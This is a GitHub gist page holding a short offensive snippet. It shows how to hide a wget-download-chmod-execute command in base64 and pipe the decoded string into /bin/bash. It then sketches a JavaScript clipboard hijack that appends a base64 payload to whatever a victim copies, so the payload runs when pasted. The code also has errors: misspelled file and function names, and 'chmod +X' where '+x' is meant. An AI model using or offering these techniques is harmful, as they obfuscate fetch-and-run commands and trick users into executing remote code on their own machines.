Skip to content

Instantly share code, notes, and snippets.

@29942016
Created June 3, 2016 16:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 29942016/e62673508e5ee7a9194b284c648a58d2 to your computer and use it in GitHub Desktop.
Save 29942016/e62673508e5ee7a9194b284c648a58d2 to your computer and use it in GitHub Desktop.
#Hide a payload in base64
echo 'wget myplayoad.sh; chmod +X ./mypayload.sh; ./mypayload.sh' | base64
#execution:
echo d2dldCBteXBsYXlvYWQuc2g7IGNobW9kICtYIC4vbXlwYXlsb2FkLnNoOyAuL215cGF5bG9hZC5zaAo= | base64 -d | /bin/bash
#javascript clipboard hijack, then force execution on paste.
#javascript example:
document.oncopy = hijackClipboard;
function hijackClipbaord()
{
var userSelection = window.getSelection();
userSelection += "my base64 payload";
...
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment